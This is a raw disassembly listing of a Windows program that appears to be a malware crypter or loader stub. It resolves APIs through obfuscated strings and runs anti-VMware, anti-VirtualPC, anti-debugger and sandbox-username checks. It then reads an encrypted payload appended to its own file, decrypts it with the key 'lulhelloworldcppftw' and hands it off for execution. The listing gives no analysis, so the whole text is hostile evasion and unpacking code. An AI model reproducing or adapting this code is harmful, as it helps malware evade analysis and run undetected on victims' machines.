		nop
		nop
		nop
		nop
		push	offset a1mgRRN	; "۴1gRRn"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A818,	eax
		push	offset aG5iuXc	; "ʣ5Ux"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A7F8,	eax
		push	offset aGLzQgqA	; "ˣ zqQAó"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A850,	eax
		push	offset aGLzQawpj ; "ߣ zqWJ"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A820,	eax
		nop
		nop
		nop
		nop
		push	offset aGSF_J	; "ߣ `f_J"
		push	[ebp+var_4]
		call	dword_1000A80C
		mov	dword_1000A840,	eax
		push	offset aG3vcZMn	; "ʣ3cz[n"
		push	[ebp+var_4]
		call	dword_1000A80C
		mov	dword_1000A834,	eax
		push	offset aG3FFkhC	; "ʣ3ffhC³"
		push	[ebp+var_4]
		call	dword_1000A80C
		mov	dword_1000A7EC,	eax
		push	offset aG3o	; "ʣ3"
		push	[ebp+var_4]
		call	dword_1000A80C
		mov	dword_1000A844,	eax
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		push	offset aGAAqAnBa ; "ߣ |a[Nٲ؁A"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A814,	eax
		push	offset aGBrLz@	; "ˣ r`L@"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A7E0,	eax
		push	offset aGBrLz@_0 ; "ߣ r`L@"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A854,	eax
		nop
		nop
		nop
		nop
		cmp	dword_1000A858,	0
		jz	loc_1000278A
		cmp	dword_1000A838,	0
		jz	loc_1000278A
		cmp	dword_1000A808,	0
		jz	loc_1000278A
		cmp	dword_1000A7D4,	0
		jz	loc_1000278A
		cmp	dword_1000A7D8,	0
		jz	loc_1000278A
		cmp	dword_1000A7F0,	0
		jz	loc_1000278A
		cmp	dword_1000A7CC,	0
		jz	loc_1000278A
		cmp	dword_1000A7F4,	0
		jz	loc_1000278A
		cmp	dword_1000A7FC,	0
		jz	loc_1000278A
		cmp	dword_1000A804,	0
		jz	loc_1000278A
		cmp	dword_1000A83C,	0
		jz	loc_1000278A
		cmp	dword_1000A830,	0
		jz	loc_1000278A
		cmp	dword_1000A824,	0
		jz	loc_1000278A
		cmp	dword_1000A7D0,	0
		jz	loc_1000278A
		cmp	dword_1000A84C,	0
		jz	loc_1000278A
		cmp	dword_1000A800,	0
		jz	short loc_1000278A
		cmp	dword_1000A848,	0
		jz	short loc_1000278A
		cmp	dword_1000A81C,	0
		jz	short loc_1000278A
		cmp	dword_1000A7E8,	0
		jz	short loc_1000278A
		cmp	dword_1000A82C,	0
		jz	short loc_1000278A
		cmp	dword_1000A7C8,	0
		jz	short loc_1000278A
		cmp	dword_1000A7DC,	0
		jz	short loc_1000278A
		cmp	dword_1000A818,	0
		jz	short loc_1000278A
		cmp	dword_1000A7F8,	0
		jz	short loc_1000278A
		cmp	dword_1000A850,	0
		jz	short loc_1000278A
		cmp	dword_1000A820,	0
		jz	short loc_1000278A
		cmp	dword_1000A840,	0
		jz	short loc_1000278A
		cmp	dword_1000A834,	0
		jz	short loc_1000278A
		cmp	dword_1000A7EC,	0
		jz	short loc_1000278A
		cmp	dword_1000A844,	0
		jnz	short loc_1000278E


loc_1000278A:				; CODE XREF: sub_10002366+2E1j
					; sub_10002366+2EEj ...
		xor	al, al
		jmp	short loc_10002790
; ---------------------------------------------------------------------------


loc_1000278E:				; CODE XREF: sub_10002366+422j
		mov	al, 1


loc_10002790:				; CODE XREF: sub_10002366+426j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10002366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002795	proc near		; CODE XREF: sub_10002A2D+69p
					; sub_10002A2D+87p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_100027A9
		mov	eax, [ebp+arg_0]
		jmp	short locret_100027F7
; ---------------------------------------------------------------------------


loc_100027A9:				; CODE XREF: sub_10002795+Dj
					; sub_10002795+5Ej
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_100027F5
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_100027BF:				; CODE XREF: sub_10002795+55j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_100027CE
		mov	eax, [ebp+arg_0]
		jmp	short locret_100027F7
; ---------------------------------------------------------------------------


loc_100027CE:				; CODE XREF: sub_10002795+32j
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx]
		mov	edx, [ebp+var_4]
		inc	edx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+var_8]
		inc	edx
		mov	[ebp+var_8], edx
		cmp	eax, ecx
		jz	short loc_100027BF
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_100027A9
; ---------------------------------------------------------------------------


loc_100027F5:				; CODE XREF: sub_10002795+1Cj
		xor	eax, eax

locret_100027F7:			; CODE XREF: sub_10002795+12j
					; sub_10002795+37j
		leave
		retn
sub_10002795	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100027F9	proc near		; CODE XREF: sub_100014CA+15Cp
					; sub_100014CA+23Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_1000284F
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		jmp	short loc_1000282D
; ---------------------------------------------------------------------------


loc_10002826:				; CODE XREF: sub_100027F9+52j
		mov	eax, [ebp+arg_8]
		dec	eax
		mov	[ebp+arg_8], eax


loc_1000282D:				; CODE XREF: sub_100027F9+2Bj
		cmp	[ebp+arg_8], 0
		jz	short loc_1000284D
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_10002826
; ---------------------------------------------------------------------------


loc_1000284D:				; CODE XREF: sub_100027F9+38j
		jmp	short loc_10002880
; ---------------------------------------------------------------------------


loc_1000284F:				; CODE XREF: sub_100027F9+17j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_4]
		jz	short loc_10002880
		jmp	short loc_10002860
; ---------------------------------------------------------------------------


loc_10002859:				; CODE XREF: sub_100027F9+85j
		mov	eax, [ebp+arg_8]
		dec	eax
		mov	[ebp+arg_8], eax


loc_10002860:				; CODE XREF: sub_100027F9+5Ej
		cmp	[ebp+arg_8], 0
		jz	short loc_10002880
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	short loc_10002859
; ---------------------------------------------------------------------------


loc_10002880:				; CODE XREF: sub_100027F9:loc_1000284Dj
					; sub_100027F9+5Cj ...
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_100027F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002885	proc near		; CODE XREF: WinMain(x,x,x,x)+136p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		and	[ebp+var_18], 0
		and	[ebp+var_4], 0
		push	0
		call	dword_1000A814
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	eax, [eax+3Ch]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		add	eax, 14h
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_20]
		movzx	eax, word ptr [eax+10h]
		mov	ecx, [ebp+var_24]
		add	ecx, eax
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+var_20]
		movzx	eax, word ptr [eax+2]
		dec	eax
		imul	eax, 28h
		mov	ecx, [ebp+var_20]
		movzx	ecx, word ptr [ecx+2]
		dec	ecx
		imul	ecx, 28h
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+eax+10h]
		mov	edx, [ebp+var_1C]
		add	eax, [edx+ecx+14h]
		mov	[ebp+var_10], eax
		push	[ebp+var_C]
		call	dword_1000A7D0
		push	0
		call	dword_1000A7E0
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	[ebp+arg_0]
		call	dword_1000A818
		mov	[ebp+var_2C], eax
		call	dword_1000A854
		test	eax, eax
		jnz	short loc_10002932
		cmp	[ebp+var_2C], 0FFFFFFFFh
		jnz	short loc_10002936


loc_10002932:				; CODE XREF: sub_10002885+A5j
		xor	al, al
		jmp	short locret_100029AA
; ---------------------------------------------------------------------------


loc_10002936:				; CODE XREF: sub_10002885+ABj
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_2C]
		call	dword_1000A820
		mov	eax, [ebp+var_28]
		cmp	eax, [ebp+var_10]
		jbe	short loc_1000299E
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_10]
		mov	[ebp+var_18], eax
		push	1		; int
		mov	eax, [ebp+var_18]
		inc	eax
		push	eax		; Size
		call	sub_10002DEB
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	0
		push	0
		push	[ebp+var_10]
		push	[ebp+var_2C]
		call	dword_1000A850
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_18]
		push	[ebp+var_14]
		push	[ebp+var_2C]
		call	dword_1000A7F8
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_18]
		mov	[eax], ecx
		mov	[ebp+var_4], 1


loc_1000299E:				; CODE XREF: sub_10002885+C4j
		push	[ebp+var_2C]
		call	dword_1000A7D0
		mov	al, [ebp+var_4]

locret_100029AA:			; CODE XREF: sub_10002885+AFj
		leave
		retn
sub_10002885	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100029AC(char	*Str)

sub_100029AC	proc near		; CODE XREF: sub_10002A2D+62p
					; sub_10002A2D+80p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		mov	[ebp+var_8], eax
		push	1		; int
		mov	eax, [ebp+var_8]
		inc	eax
		push	eax		; Size
		call	sub_10002DEB
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_4], 0
		jmp	short loc_100029DC
; ---------------------------------------------------------------------------


loc_100029D5:				; CODE XREF: sub_100029AC:loc_10002A26j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_100029DC:				; CODE XREF: sub_100029AC+27j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_10002A28
		mov	eax, [ebp+Str]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jl	short loc_10002A16
		mov	eax, [ebp+Str]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ah
		jg	short loc_10002A16
		mov	eax, [ebp+Str]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		add	eax, 20h
		mov	ecx, [ebp+var_C]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_10002A26
; ---------------------------------------------------------------------------


loc_10002A16:				; CODE XREF: sub_100029AC+44j
					; sub_100029AC+52j
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+Str]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl


loc_10002A26:				; CODE XREF: sub_100029AC+68j
		jmp	short loc_100029D5
; ---------------------------------------------------------------------------


loc_10002A28:				; CODE XREF: sub_100029AC+36j
		mov	eax, [ebp+var_C]
		leave
		retn
sub_100029AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002A2D	proc near		; CODE XREF: WinMain(x,x,x,x)+EEp

var_108		= dword	ptr -108h
Str		= byte ptr -104h
var_103		= byte ptr -103h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	edi
		mov	[ebp+var_108], 104h
		and	[ebp+Str], 0
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	dword_1000A840
		push	offset aVJm	; "۳&v`M]"
		lea	eax, [ebp+Str]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_10002ABF
		push	offset aIzIqL	; ":ql"
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_100029AC
		pop	ecx
		push	eax
		call	sub_10002795
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_10002ABF
		push	offset aUlMa	; "#a"
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_100029AC
		pop	ecx
		push	eax
		call	sub_10002795
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_10002AC3


loc_10002ABF:				; CODE XREF: sub_10002A2D+54j
					; sub_10002A2D+72j
		mov	al, 1
		jmp	short loc_10002AC5
; ---------------------------------------------------------------------------


loc_10002AC3:				; CODE XREF: sub_10002A2D+90j
		xor	al, al


loc_10002AC5:				; CODE XREF: sub_10002A2D+94j
		pop	edi
		leave
		retn
sub_10002A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002AC8	proc near		; CODE XREF: WinMain(x,x,x,x)+7Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_100070A8
		push	offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		push	ebx
		mov	eax, 564D5868h
		mov	ebx, 8685D465h
		mov	ecx, 0Ah
		mov	dx, 5658h
		in	eax, dx
		mov	[ebp+var_1C], ebx
		pop	ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_10002B26
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		and	[ebp+var_20], 0
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_20]
		jmp	short loc_10002B32
; ---------------------------------------------------------------------------


loc_10002B26:				; CODE XREF: sub_10002AC8+48j
		xor	eax, eax
		cmp	[ebp+var_1C], 564D5868h
		setz	al


loc_10002B32:				; CODE XREF: sub_10002AC8+5Cj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10002AC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002B41	proc near		; CODE XREF: WinMain(x,x,x,x):loc_10002C63p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		mov	eax, large fs:30h
		mov	eax, [eax+68h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, 70h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10002B41	endp

; ---------------------------------------------------------------------------


loc_10002B63:				; CODE XREF: WinMain(x,x,x,x):loc_10002C53p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_100070B8
		push	offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		and	dword ptr [ebp-4], 0
		mov	eax, 1
; ---------------------------------------------------------------------------
		dw 3F0Fh
		dd 45C70B07h, 0FFFFFFFCh, 0FC4D83FFh, 6A14EBFFh, 8BC35801h
		dd 6583E865h, 4D8300E4h, 458BFFFCh, 6A03EBE4h, 4D8B5801h
		dd 0D8964F0h, 0
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+C9p

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
hInstance	= dword	ptr  8
hPrevInstance	= dword	ptr  0Ch
lpCmdLine	= dword	ptr  10h
nShowCmd	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_10C], 0
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_10B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_8], 0
		and	[ebp+var_114], 0
		push	24h		; int
		push	offset aIAXNASOI ; "۩:axnAҺoI"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aIAXNASOI ; "۩:axnAҺoI"
		call	_strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_114]
		push	eax
		push	offset aIAXNASOI ; "۩:axnAҺoI"
		push	80000001h
		call	ds:dword_10007000
		test	eax, eax
		jz	short loc_10002C3B
		push	0
		call	ds:dword_10007008


loc_10002C3B:				; CODE XREF: WinMain(x,x,x,x)+68j
		push	0
		call	sub_10001D53
		pop	ecx
		call	sub_10002AC8
		test	eax, eax
		jz	short loc_10002C53
		xor	eax, eax
		jmp	loc_10002D69
; ---------------------------------------------------------------------------


loc_10002C53:				; CODE XREF: WinMain(x,x,x,x)+81j
		call	loc_10002B63
		test	eax, eax
		jz	short loc_10002C63
		xor	eax, eax
		jmp	loc_10002D69
; ---------------------------------------------------------------------------


loc_10002C63:				; CODE XREF: WinMain(x,x,x,x)+91j
		call	sub_10002B41
		test	eax, eax
		jz	short loc_10002C73
		xor	eax, eax
		jmp	loc_10002D69
; ---------------------------------------------------------------------------


loc_10002C73:				; CODE XREF: WinMain(x,x,x,x)+A1j
		call	sub_1000102A
		mov	dword_1000A80C,	eax
		cmp	dword_1000A80C,	0
		jnz	short loc_10002C8D
		xor	eax, eax
		jmp	loc_10002D69
; ---------------------------------------------------------------------------


loc_10002C8D:				; CODE XREF: WinMain(x,x,x,x)+BBj
		call	sub_10001000
		mov	[ebp+var_110], eax
		push	1
		call	sub_10001D53
		pop	ecx
		nop
		nop
		nop
		nop
		push	[ebp+var_110]
		call	sub_10002366
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_10002CC3
		call	sub_10002A2D
		movzx	eax, al
		test	eax, eax
		jz	short loc_10002CCA


loc_10002CC3:				; CODE XREF: WinMain(x,x,x,x)+ECj
		xor	eax, eax
		jmp	loc_10002D69
; ---------------------------------------------------------------------------


loc_10002CCA:				; CODE XREF: WinMain(x,x,x,x)+F8j
		nop
		nop
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	ds:dword_1000700C
		push	eax
		call	dword_1000A808
		nop
		nop
		nop
		nop
		nop
		nop
		lea	eax, [ebp+var_11C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_10002885
		add	esp, 0Ch
		movzx	eax, al
		test	eax, eax
		jz	short loc_10002D67
		push	[ebp+var_11C]	; int
		push	[ebp+var_4]	; int
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		nop
		nop
		nop
		nop
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		push	[ebp+var_4]
		call	sub_100012E4
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		nop
		nop
		nop
		nop
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_118]
		push	[ebp+lpCmdLine]
		push	[ebp+var_4]
		call	sub_10001CF2
		add	esp, 10h
		nop
		nop
		nop
		nop
		nop


loc_10002D67:				; CODE XREF: WinMain(x,x,x,x)+143j
		xor	eax, eax


loc_10002D69:				; CODE XREF: WinMain(x,x,x,x)+85j
					; WinMain(x,x,x,x)+95j	...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
_WinMain@16	endp

; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10002DEB(size_t Size,	int)

sub_10002DEB	proc near		; CODE XREF: sub_1000109E+15p
					; sub_100012E4+14p ...

Size		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+Size]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+Size], esi
		ja	short loc_10002E0C
		test	esi, esi
		jnz	short loc_10002E06
		push	1
		pop	esi


loc_10002E06:				; CODE XREF: sub_10002DEB+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_10002E0C:				; CODE XREF: sub_10002DEB+12j
					; sub_10002DEB+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_10002E6B
		mov	eax, dword_1000AD78
		cmp	eax, 3
		jnz	short loc_10002E37
		mov	eax, [ebp+Size]
		cmp	eax, dword_1000AD70
		ja	short loc_10002E56
		push	eax
		call	___sbh_alloc_block
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_10002E81
		jmp	short loc_10002E56
; ---------------------------------------------------------------------------


loc_10002E37:				; CODE XREF: sub_10002DEB+30j
		cmp	eax, 2
		jnz	short loc_10002E56
		cmp	esi, dword_1000A384
		ja	short loc_10002E56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_10004129
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_10002E95


loc_10002E56:				; CODE XREF: sub_10002DEB+3Bj
					; sub_10002DEB+4Aj ...
		push	esi
		push	8
		push	dword_1000AD74
		call	ds:dword_10007010
		mov	edi, eax
		test	edi, edi
		jnz	short loc_10002E8F


loc_10002E6B:				; CODE XREF: sub_10002DEB+26j
		cmp	dword_1000A870,	0
		jz	short loc_10002E8F
		push	esi
		call	__callnewh
		test	eax, eax
		pop	ecx
		jz	short loc_10002E98
		jmp	short loc_10002E0C
; ---------------------------------------------------------------------------


loc_10002E81:				; CODE XREF: sub_10002DEB+48j
		push	[ebp+Size]	; Size


loc_10002E84:				; CODE XREF: sub_10002DEB+ABj
		push	0		; Val
		push	edi		; Dst
		call	_memset
		add	esp, 0Ch


loc_10002E8F:				; CODE XREF: sub_10002DEB+7Ej
					; sub_10002DEB+87j
		mov	eax, edi


loc_10002E91:				; CODE XREF: sub_10002DEB+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_10002E95:				; CODE XREF: sub_10002DEB+69j
		push	esi
		jmp	short loc_10002E84
; ---------------------------------------------------------------------------


loc_10002E98:				; CODE XREF: sub_10002DEB+92j
		xor	eax, eax
		jmp	short loc_10002E91
sub_10002DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002E9C	proc near		; CODE XREF: sub_10001A2B+2B6p
					; __setenvp+9Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_10002F02
		mov	eax, dword_1000AD78
		cmp	eax, 3
		jnz	short loc_10002EC8
		push	esi
		call	___sbh_find_block
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_10002EF4
		push	eax
		call	sub_10003653
		pop	ecx
		pop	ecx
		jmp	short loc_10002F02
; ---------------------------------------------------------------------------


loc_10002EC8:				; CODE XREF: sub_10002E9C+14j
		cmp	eax, 2
		jnz	short loc_10002EF3
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_1000408D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_10002EF3
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_100040E4
		add	esp, 0Ch
		jmp	short loc_10002F02
; ---------------------------------------------------------------------------


loc_10002EF3:				; CODE XREF: sub_10002E9C+2Fj
					; sub_10002E9C+44j
		push	esi


loc_10002EF4:				; CODE XREF: sub_10002E9C+20j
		push	0
		push	dword_1000AD74
		call	ds:dword_10007014


loc_10002F02:				; CODE XREF: sub_10002E9C+Aj
					; sub_10002E9C+2Aj ...
		pop	esi
		leave
		retn
sub_10002E9C	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+"	TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

__NLG_Notify1:
		push	ebx
		push	ecx
		mov	ebx, offset dword_10008340
		jmp	short loc_100031C4
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

unknown_libname_2:			; Microsoft VisualC 2-8/net runtime
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	__local_unwind2
		add	esp, 8
		pop	ebp
		retn	4
; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	__XcptFilter
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	__exit
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		pop	ecx
		pop	ecx
		retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit.	PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



